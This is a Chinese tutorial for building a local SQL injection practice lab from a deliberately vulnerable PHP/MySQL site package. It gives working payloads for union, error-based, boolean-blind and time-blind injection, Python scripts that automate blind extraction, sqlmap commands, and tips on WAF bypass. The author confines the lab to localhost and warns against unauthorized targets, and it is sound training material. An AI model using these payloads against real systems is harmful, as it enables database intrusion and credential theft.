简介:这份资源是一套存在SQL注入漏洞的网站源码,面向正在学习Web安全、需要动手搭建靶场环境的初学者与进阶者,可用于本地或空间部署后开展注入测试与漏洞复现练习。压缩包共844个文件,以291个php脚本为核心业务代码,辅以106个html页面、67个js脚本、16个css样式及大量gif、png、jpg等图片素材,另有sql数据库文件、htaccess配置与字体文件,整体约4.95MB,结构完整、便于快速部署。安装时上传全部文件至空间根目录并访问install目录,按提示配置数据库即可,后台目录名可自行修改,不需要会员功能时还能删除member目录精简体积。目前已有827人学习关注,适合用来熟悉注入点定位、参数构造与后台路径探测等实战环节,帮助读者在可控环境中理解漏洞成因与利用思路,积累排错与调试经验。
1. 从一份靶场源码说起:为什么我建议你本地搭一套注入练习环境
很多做安全测试的朋友,包括我自己,早期都经历过一个尴尬阶段:理论背得滚瓜烂熟,联合查询、报错注入、布尔盲注、时间盲注张口就来,但真拿到一个登录框,手放在键盘上却不知道从哪一步开始。原因很简单——缺少一个可以随便折腾、不怕搞坏、能反复复现的练习环境。这份 mysql 后台注入靶场源码,解决的就是这个问题。它把一套带后台登录的 Web 应用和 MySQL 数据库打包在一起,专门留出注入点,让你在本地就能把从信息收集到数据提取的完整链路走一遍。适合刚入门 Web 安全的新手,也适合想整理自己测试流程的老手。源码包本身不复杂,但怎么把它跑起来、怎么理解每个注入点的设计意图、怎么避免在练习中养成坏习惯,才是真正值得聊的部分。
2. 环境搭建与数据库初始化:把靶场跑起来
2.1 运行环境选型与依赖确认
拿到源码包后,第一件事不是急着解压看代码,而是先确认本地环境能不能撑起来。这套靶场依赖 PHP 和 MySQL,常见做法是用集成环境一键拉起,比如 phpStudy、XAMPP 或者宝塔面板。我一般会先检查 PHP 版本,推荐 7.0 到 7.4 之间,太新的 PHP 8.x 可能会因为部分函数废弃导致页面报错。MySQL 用 5.6 或 5.7 都行,8.0 也能跑,但要注意默认认证插件从 mysql_native_password 换成了 caching_sha2_password,老代码连接时可能直接连不上。
确认环境后,把源码包解压到 Web 根目录。假设你用的是 phpStudy,路径通常是D:\phpstudy_pro\WWW\,解压后得到一个文件夹,比如sql_injection_lab。这时候先别急着访问,因为数据库还没建。源码包里一般会带一个.sql文件,这是整个靶场的数据库结构和初始数据,没有它页面就是白板。
提示:解压前先看一眼目录结构,确认有没有
config.php或db.php这类配置文件,后面改数据库连接信息就靠它。
2.2 导入 SQL 文件与修改连接配置
导入数据库有两种方式,命令行或者图形化工具。我习惯用命令行,因为快且不容易出错。假设 MySQL 装在本地,用户名 root,密码 root,先创建一个空库:
# 登录 MySQL mysql -u root -p # 创建靶场专用数据库,名字随意,这里叫 sqli_lab CREATE DATABASE sqli_lab DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci; # 退出 exit;然后导入 SQL 文件。假设 SQL 文件在源码根目录下,叫lab.sql:
# 切换到源码目录 cd D:\phpstudy_pro\WWW\sql_injection_lab # 导入数据 mysql -u root -p sqli_lab < lab.sql这两步做完,数据库里就有表和数据了。接下来改配置文件。打开config.php或db.php,找到类似下面的代码:
<?php // 数据库连接配置 $host = '127.0.0.1'; // 数据库地址,本地就是 127.0.0.1 $user = 'root'; // 数据库用户名 $pass = 'root'; // 数据库密码,改成你自己的 $dbname = 'sqli_lab'; // 刚才创建的库名 $conn = mysqli_connect($host, $user, $pass, $dbname); if (!$conn) { die('连接失败: ' . mysqli_connect_error()); } ?>把$pass改成你本地 MySQL 的真实密码,$dbname确认和创建的库名一致。保存后浏览器访问http://localhost/sql_injection_lab/,能看到登录页面或者功能列表,说明环境通了。
这里有个细节值得说:有些源码包用的是mysql_connect这种老函数,PHP 7 以后已经废弃,如果页面报Fatal error: Uncaught Error: Call to undefined function mysql_connect(),说明代码太老。解决办法是把mysql_*系列函数改成mysqli_*或 PDO,改法不复杂,但要注意参数顺序和返回值处理略有不同。我一般会直接搜一遍源码里所有mysql_开头的函数,批量替换成mysqli_,然后在连接处加上$conn参数。
2.3 验证靶场功能与注入点分布
环境跑起来后,别急着上工具。先手动点一遍每个功能,看看有哪些入口。常见的后台注入靶场会设计几个典型场景:登录框的万能密码、搜索框的联合查询、文章详情页的报错注入、用户 ID 参数的布尔盲注。每个场景对应不同的注入类型和闭合方式。
我一般会打开浏览器的开发者工具,切到 Network 面板,然后逐个提交表单,观察请求参数。比如登录框提交后,看 POST 数据里用户名和密码是怎么传的,有没有做前端加密。如果是明文传输,那注入测试就方便很多。搜索框通常走 GET,参数直接拼在 URL 里,这种最容易上手。
注意:练习时把浏览器代理关掉,避免工具和手动请求互相干扰。另外每次测试前清一下 Cookie,防止登录状态影响判断。
确认注入点后,可以先用单引号试探。比如在搜索框输入test',如果页面报 SQL 语法错误,说明存在注入且没过滤。如果页面正常显示但结果为空,可能是布尔盲注的入口。这一步不用工具,纯手动就能建立初步判断。等把每个点的行为摸清楚了,再上 sqlmap 或者自己写脚本,效率会高很多。
3. 注入类型逐个拆解:从联合查询到时间盲注
3.1 联合查询注入:字段数判断与回显利用
联合查询注入是最直观的一种,前提是页面有回显位。假设靶场里有个搜索功能,URL 是search.php?keyword=test,页面会把匹配的文章标题和内容显示出来。先判断字段数,用order by递增:
-- 在 keyword 参数后依次尝试 test' order by 1 -- test' order by 2 -- test' order by 3 --如果order by 3页面正常,order by 4报错,说明当前查询返回 3 个字段。接下来用union select找回显位:
test' union select 1,2,3 --页面里哪个数字被显示出来,那个位置就可以替换成数据库函数。比如显示的是 2 和 3,就可以这样拿信息:
test' union select 1,database(),version() --database()返回当前库名,version()返回 MySQL 版本。继续往下可以查表名、列名、数据:
-- 查表名 test' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -- 查列名 test' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- -- 查数据 test' union select 1,group_concat(username,0x3a,password),3 from users --这里0x3a是冒号的十六进制,用来分隔用户名和密码。group_concat默认长度有限制,如果数据多可能截断,可以用limit分页或者调大group_concat_max_len。
参数说明:--后面必须跟一个空格,否则注释不生效。有些环境用#也行,但#在 URL 里要编码成%23。闭合方式不一定是单引号,也可能是双引号、括号或者无闭合,具体看报错信息。
3.2 报错注入:用 updatexml 和 extractvalue 带出数据
当页面没有回显位,但会显示 SQL 报错信息时,报错注入就派上用场了。MySQL 里常用的两个函数是updatexml和extractvalue,它们本来是用来处理 XML 的,但参数传错时会报错,并把错误内容带出来。
-- 在注入点尝试 test' and updatexml(1,concat(0x7e,database(),0x7e),1) --0x7e是波浪号~,用来包裹数据,方便在报错信息里定位。执行后页面会显示类似XPATH syntax error: '~sqli_lab~'的错误,库名就出来了。查表名同理:
test' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --extractvalue用法类似,只是参数少一个:
test' and extractvalue(1,concat(0x7e,database())) --这两个函数有长度限制,最多返回 32 位字符,数据长了要配合substr分段读取。另外 MySQL 5.1 以后才支持,版本太低用不了。如果updatexml被过滤,可以试试floor报错或者exp报错,原理都是让函数参数类型不匹配触发错误。
提示:报错注入的输出位置不固定,有的在页面顶部,有的在底部,还有的藏在 HTML 注释里。用浏览器搜索功能找
XPATH关键字最快。
3.3 布尔盲注与时间盲注:没有回显时怎么判断
布尔盲注适用于页面不显示数据也不报错,但会根据查询真假返回不同内容的情况。比如id=1页面正常,id=1' and 1=1 --也正常,id=1' and 1=2 --页面变空或者提示不存在。这时候就可以用条件判断逐字符猜数据。
-- 猜数据库名第一个字符是不是 s id=1' and substr(database(),1,1)='s' -- -- 猜长度 id=1' and length(database())=8 --手动猜太慢,一般写脚本或者用 sqlmap。脚本逻辑很简单:对每个位置遍历字符集,根据页面返回长度或关键字判断真假。Python 里用requests库几行就能搞定:
import requests url = "http://localhost/sql_injection_lab/search.php" chars = "abcdefghijklmnopqrstuvwxyz0123456789_" result = "" for pos in range(1, 20): for ch in chars: # 构造 payload,判断当前字符是否匹配 payload = f"test' and substr(database(),{pos},1)='{ch}' -- " r = requests.get(url, params={"keyword": payload}) # 页面包含"正常"关键字说明条件为真 if "正常" in r.text: result += ch print(f"当前位置 {pos} 猜中: {ch}") break else: break print("最终结果:", result)这段代码的核心是substr(database(),pos,1)逐个截取字符,和候选字符比较。requests.get发请求,根据响应内容判断真假。实际使用时要把"正常"换成靶场页面真实的成功标识,比如某个固定的文章标题或者echo出来的字符串。
时间盲注更极端,页面内容完全没变化,只能靠sleep函数让数据库延迟响应来判断。MySQL 里用if(condition,sleep(3),0):
id=1' and if(substr(database(),1,1)='s',sleep(3),0) --如果页面响应时间明显超过 3 秒,说明条件为真。这种注入对网络稳定性要求高,本地环境最合适。脚本里用time.time()记录请求前后时间差,超过阈值就判定为真。缺点是每个字符都要等几秒,猜一个库名可能要几分钟,所以实际测试中优先用布尔盲注,时间盲注作为兜底。
4. 避坑与排查:靶场练习中容易翻车的几个点
4.1 页面空白或 500 错误:先看 PHP 错误日志
现象:访问靶场首页直接白屏,或者提示HTTP 500 Internal Server Error。原因通常是 PHP 版本不兼容或者数据库连接失败。源码里用了废弃函数、短标签<?没开、或者config.php里的密码不对,都会导致这个结果。解决办法:打开 PHP 的display_errors,在php.ini里把display_errors = Off改成On,重启服务后刷新页面,具体错误行号就出来了。如果是数据库连不上,检查mysqli_connect的四个参数,确认 MySQL 服务在运行。
4.2 注入 payload 不生效:闭合方式判断错误
现象:明明单引号报错,但加上and 1=1后页面还是报错。原因可能是闭合方式不是单引号,而是双引号、括号或者')组合。解决办法:看报错信息里 SQL 语句的结尾,比如near ''1'' at line 1说明单引号被转义了,可能用了addslashes。如果报错显示near '1')',说明原语句有括号,闭合要写成1') --。多试几种组合,或者用order by逐步试探,不要死磕一种。
4.3 联合查询字段数对不上:order by 被过滤
现象:order by 3正常,order by 4也正常,一直加到 10 都不报错。原因可能是order by被 WAF 或者代码过滤了,或者页面用了limit导致order by不生效。解决办法:换用union select直接试字段数,比如test' union select 1,2,3 --,如果报错The used SELECT statements have a different number of columns,说明字段数不对,逐个增加数字直到不报错。另外可以用and 1=1和and 1=2对比页面差异,确认注入点是否真的存在。
4.4 时间盲注延迟不稳定:网络和数据库缓存干扰
现象:sleep(3)有时候延迟 3 秒,有时候秒回,判断结果忽真忽假。原因可能是 MySQL 查询缓存把相同语句缓存了,第二次执行直接返回结果,不走sleep。解决办法:在 payload 里加SQL_NO_CACHE或者用随机数让每次查询不同,比如and if(substr(database(),1,1)='s',sleep(3),0) and rand() --。另外本地环境如果开了 OPcache 或者查询缓存,先在 MySQL 配置里关掉query_cache_size,避免干扰。
4.5 数据查不全:group_concat 长度截断
现象:用group_concat查表名,只返回了前几个,后面的没了。原因是group_concat_max_len默认 1024 字节,超出的部分被截断。解决办法:在注入点执行SET SESSION group_concat_max_len=99999,但注入场景下不一定有权限执行SET。替代方案是用limit分页查,比如limit 0,1、limit 1,1逐个取,或者用substr分段截取。如果表名很多,建议先查count(*)确认总数,再决定分几页。
5. 进阶技巧:把靶场变成自己的测试流程训练场
5.1 用 sqlmap 验证手动测试结果
手动测完一轮后,可以用 sqlmap 交叉验证,看看有没有漏掉的注入点。命令不复杂,关键是参数要对:
# 对搜索框 GET 参数测试 sqlmap -u "http://localhost/sql_injection_lab/search.php?keyword=test" --batch --dbs # 对登录框 POST 请求测试 sqlmap -u "http://localhost/sql_injection_lab/login.php" --data="username=admin&password=123" --batch --dbs # 指定注入类型,加快速度 sqlmap -u "http://localhost/sql_injection_lab/search.php?keyword=test" --technique=BEUST --batch --current-db--batch让工具自动选择默认选项,不用一路回车。--dbs列出所有数据库,--current-db只看当前库。--technique指定注入类型,B 是布尔盲注,E 是报错注入,U 是联合查询,S 是堆叠查询,T 是时间盲注。如果手动测出了注入点但 sqlmap 没识别,可能是 payload 被 WAF 拦了,加--tamper=space2comment试试绕过空格过滤。
注意:sqlmap 跑本地靶场没问题,但别对着未授权的目标用。练习环境里怎么折腾都行,出了这个范围就要守规矩。
5.2 写一个自己的盲注脚本模板
sqlmap 虽然方便,但理解原理还得自己写。下面是一个布尔盲注的通用模板,改改就能用:
import requests import time # 目标配置 URL = "http://localhost/sql_injection_lab/search.php" PARAM = "keyword" TRUE_FLAG = "正常" # 页面为真时的特征字符串 CHARS = "abcdefghijklmnopqrstuvwxyz0123456789@._-" def inject(payload): """发送请求,判断条件真假""" try: r = requests.get(URL, params={PARAM: payload}, timeout=10) return TRUE_FLAG in r.text except Exception as e: print(f"请求异常: {e}") return False def get_length(sql, max_len=50): """猜长度""" for i in range(1, max_len): payload = f"test' and length(({sql}))={i} -- " if inject(payload): return i return 0 def get_data(sql, length): """逐字符猜数据""" result = "" for pos in range(1, length + 1): for ch in CHARS: payload = f"test' and substr(({sql}),{pos},1)='{ch}' -- " if inject(payload): result += ch print(f"\r{result}", end="", flush=True) break return result # 使用示例:猜当前数据库名 db_len = get_length("database()") print(f"库名长度: {db_len}") db_name = get_data("database()", db_len) print(f"\n库名: {db_name}")这个模板把请求、长度判断、逐字符猜解拆成三个函数,逻辑清晰。TRUE_FLAG要根据靶场实际页面调整,比如有的页面返回"查询成功",有的返回文章标题。CHARS字符集按需增减,如果目标数据包含大写字母就加上A-Z。timeout=10防止请求卡死,实际跑的时候如果网络慢可以调大。
5.3 从靶场到真实场景的差距
靶场练熟了不代表实战没问题,两者之间有几个明显差距。第一,真实环境有 WAF,union select、information_schema这些关键词大概率被拦,需要编码、注释、大小写混写绕过。第二,真实环境的注入点不一定有回显,也不一定报错,盲注是常态。第三,数据量大,group_concat截断是家常便饭,分页和脚本自动化是必备技能。第四,时间盲注在真实网络里延迟不稳定,sleep的阈值要动态调整,不能死守 3 秒。
我自己的习惯是,每学一种注入类型,就在靶场里手动走一遍完整流程:判断注入点、猜字段数、找回显位、查库名表名列名、取数据。走完之后再用 sqlmap 跑一遍,对比结果,看看工具用了什么 payload,自己哪里漏了。最后把整个过程写成笔记,包括失败的尝试和绕过的思路。这样练上几轮,再遇到真实目标,至少不会手忙脚乱。
从那以后我每次搭新靶场,都会先手动把每个注入点跑通一遍再上工具,不然工具报个not injectable就不知道是真没漏洞还是自己参数写错了。希望帮到你。
本文还有配套的精品资源,点击获取